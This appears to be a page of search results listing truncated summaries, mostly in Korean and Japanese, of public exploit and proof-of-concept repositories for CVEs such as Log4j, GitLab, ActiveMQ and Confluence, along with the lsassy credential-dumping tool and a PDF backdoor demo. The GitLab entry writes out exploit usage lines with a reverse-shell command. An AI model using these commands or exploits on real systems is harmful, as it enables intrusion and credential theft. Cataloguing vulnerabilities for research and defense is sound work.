1172457 matches found
how-to-check-patch-secure-log4j-CVE-2021-44228
log4j-CVE-2021-44228-확인-방법 log4j란 무엇인가? LOG4J는 로깅 서비스에 사용되는 오픈소스 Java 기반 Apache 소프트웨어입니다. log4j 취약점 CVE-2021-44228이란 무엇인가? Log4j 취약점은 특정 문자열을 텍스트 상자에 입력하기만 해도 원격 코드 실행을 허용하며, Log4j 라이브러리를 사용하는 모든 프로그램에서 작동합니다. 공격 표면 / 관련 소프트웨어 영향받는 목록| 관련 링크 ---|--- 브랜드| YfryTchsGD github 링크는 영향을 받는 서비스, 구성 요소 또는...
CVE-2022-25060
CVE-2022-25060 이 스크립트는 TPLink WR840N 라우터의 oalstartPing 구성 요소에서 원격 명령 실행 취약점을 악용합니다...
CVE-2021-22205
취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...
PHP_CVE-2012-1823
PHP-CGI 원격 코드 실행 취약점 CVE-2012-1823 원리 참고 문서 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 영향 버전 php 취약점 설명 PHP SAPI 및 실행 모드 먼저 PHP의 실행 모드에 대해 소개하겠습니다. PHP 소스 코드를 다운로드하면 sapi라는 디렉토리가 있는 것을 볼 수 있습니다. PHP에서 sapi의 역할은 메시지의 "전달자"와 비슷합니다. 예를 들어 제가《Fastcgi 프로토콜 분석 && PHP-FPM 무단 접근 취약점 &&...
CVE-2023-46604-RCE
CVE-2023-46604-RCE 脆弱性 Apache ActiveMQ の OpenWire トランスポートアンマーシャラーにおける逆シリアル化の脆弱性。 影響を受けるバージョンは、5.18.0～5.18.2、5.17.0～5.17.5、5.16.0～ 5.16.6、および 5.15.16 より前のすべてのバージョンです。 セットアップ POC.XML 内の値をニーズに合わせて変更してください（実行するコマンド） POC.XML をホストします POC.XML の URL を -u 引数でスクリプトに渡します。単一の IP または IP のリストをテストできます 使用方法：...
0-click-RCE-Exploit-for-CVE-2024-10924
CVE-2024-10924 / 인증 우회2FA를 통한 RCE 익스플로잇 작성자: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 이 저장소는 Really Simple Security WordPress 플러그인의 인증 및 2FA 우회 취약점인 CVE-2024-10924에 대한 개념 증명 익스플로잇을 포함하며, 이를 통해 원격 명령 실행RCE을 달성할 수 있습니다. 스크립트 기능 이 스크립트는 인증 우회를 악용하여 관리자를 사칭하고, 필요한 nonce...
lsassy
lsassy 호스트 집합에서 원격으로 자격 증명을 추출하는 Python 도구입니다. 이 블로그 게시물에서 작동 방식을 설명합니다. 이 도구는 lsass 덤프에서 필요한 바이트를 원격으로 읽기 위해 impacket 프로젝트를 사용하고, 자격 증명을 추출하기 위해 pypykatz를 사용합니다. 장| 설명 ---|--- 경고| 이 도구를 사용하기 전에 읽어주세요 설치| Lsassy 설치 기본 사용법| 기본 lsassy 사용법 고급 사용법| 매개변수 설명이 포함된 고급 lsassy 사용법 덤프 방법 추가| 사용자 정의 lsass 덤프...
EUVD-2026-44645
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation...
CVE-2023-31704
CVE-2023-31704 説明 Sourcecodester Online Computer and Laptop Store 1.0 には不適切なアクセス制御の脆弱性が存在し、リモートの攻撃者が管理者権限へ昇格することを許します。 脆弱性の種類 不適切なアクセス制御 製品ベンダー Sourcecodster 影響を受ける製品コードベース Online Computer and Laptop Store - 1.0 影響を受けるコンポーネント https://php-ocls/classes/Users.php?f=save 攻撃タイプ リモート 権限昇格の影響 真 CVE 影響その...
ZeroPoint
ZeroPoint.ps1 ⚠ CVE-2025-53770 제로데이 취약점이 Microsoft SharePoint Server 에서 악용되는 것을 탐지하고 완화하기 위한 방어적 PowerShell 유틸리티입니다. 🔍 기능 설명 이 PowerShell 스크립트는 다음을 수행하도록 설계되었습니다: 침해 지표예: 의심스러운 .aspx 웹셸 탐지 ULS 로그를 분석하여 역직렬화/스푸핑 활동 식별 AMSI 및 Microsoft Defender와 같은 중요 보안 설정 확인 외부 인터페이스 연결 해제를 위한 선택적 긴급 완화 제공 🚨 CVE ...
CVE-2018-7602
CVE-2018-7602 Drupal 7.x 및 8.x의 여러 하위 시스템에 원격 코드 실행 취약점이 존재합니다. 이로 인해 공격자는 Drupal 사이트의 여러 공격 벡터를 악용할 수 있으며, 사이트가 손상될 수 있습니다. 이 취약점은 Drupal 코어 - 매우 중요 - 원격 코드 실행 - SA-CORE-2018-002와 관련이 있습니다. SA-CORE-2018-002와 이 취약점 모두 실제 환경에서 악용되고 있습니다. --- MITRE 취약점 재현 단계 요구 사항 Docker for Mac...
CVE-2023-4220
웹 셸을 사용한 Chamilo LMS CVE-2023-4220 RCE 이 프로젝트는 Chamilo LMS에서 발견된 원격 코드 실행 취약점CVE-2023-4220의 악용을 자동화합니다. 이 도구는 웹 셸을 사용하여 취약점 악용을 자동화하고, 영향을 받는 Chamilo LMS 인스턴스에 대한 제어 권한을 획득합니다. 기능: CVE-2023-4220 자동 악용 웹 셸 통합 취약점 영향 시연 사용법/예제 ./exploit.py -t http://example.com 스크린샷 면책 조항: 이 도구는 교육 목적과 보안 전문가가 취약점을...
Apache-spark-CVE-2022-33891
Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC 저희를 팔로우하세요 Vulnmachines Platform YouTube Twitter Facebook LinkedIn...
CVE-2020-6418
CVE-2020-6418 CVE 2020-6418은 Google Chrome의 V8 엔진에서 발생하는 타입 혼동Type Confusion 취약점입니다. 영향을 받는 버전은 80.0.3987.122 이전 버전입니다. 이 취약점은 원격 공격자가 조작된 HTML 페이지를 통해 대상 장치의 셸에 접근함으로써 악용될 수 있습니다. 환경 요구 사항 1. 80.0.3987.122 이전 버전의 Google Chrome 참고: 익스플로잇이 성공하려면 Google Chrome 브라우저를 샌드박스 없이 실행해야 합니다. 2. Metasploit...
uc_browser_poc_CVE-2022-1364
UCBrowserExploit.js 소개 아래의 모든 내용은 Interrupt Labs가 게시한 문서에서 다루는 UC Browser 익스플로잇을 참조합니다. 시작하기 이 익스플로잇은 CVE-2022-1364의 RCE 버그를 포함하는 이전 버전의 UC Browser와 관련이 있습니다. 이 버그는 2024년 말 UC 브라우저에서 패치되었습니다. 이 익스플로잇을 실행하는 데 추가 종속성은 없습니다. 제공된 문서 링크를 확인하여 브라우저 및 익스플로잇 설치 과정을 확인하시기 바랍니다...
CVE-2022-26134
CVE-2022-26134 - OGNL 주입 취약점. Atlassian Confluence 7.18 및 이하 제품에 영향을 미치는 원격 코드 실행 취약점을 악용하는 개념 증명 스크립트입니다. OGNL 주입 취약점을 통해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있습니다. 영향을 받는 버전 지원되는 모든 Confluence Server 및 Data Center 버전이 영향을 받습니다. 1.3.0 이후 및 7.18.1 이하의 Confluence Serve...
CVE-2026-0073-PoC-Exploit
CVE-2026-0073 - Android ADB Wireless Debugging Auth Bypass Zero-Click | Remote Shell | Network Scanner | Educational Security Research Tool ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only...
EUVD-2026-44646
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification...
Embedded-PDF
PDF 파일을 통한 임베디드 백도어 연결 😈 제공 소개 이 데모 비디오는 겉보기에는 무해해 보이지만 실제로는 임베디드 페이로드가 포함된 PDF 파일을 대상에게 보내 피해자의 장치를 어떻게 제어할 수 있는지 보여줍니다. 이 익스플로잇은 CVE-2010-1240으로 공개되었습니다. PDF가 Adobe Reader에서 열리자마자, 보안 팝업에 동의하도록 속은 사용자는 리버스 TCP 연결을 통해 우리가 그들의 장치에 연결된 meterpreter 세션을 획득하게 합니다. 그때까지, 그들의 모든 데이터와 현재 하고 있는 모든 것이 우리의...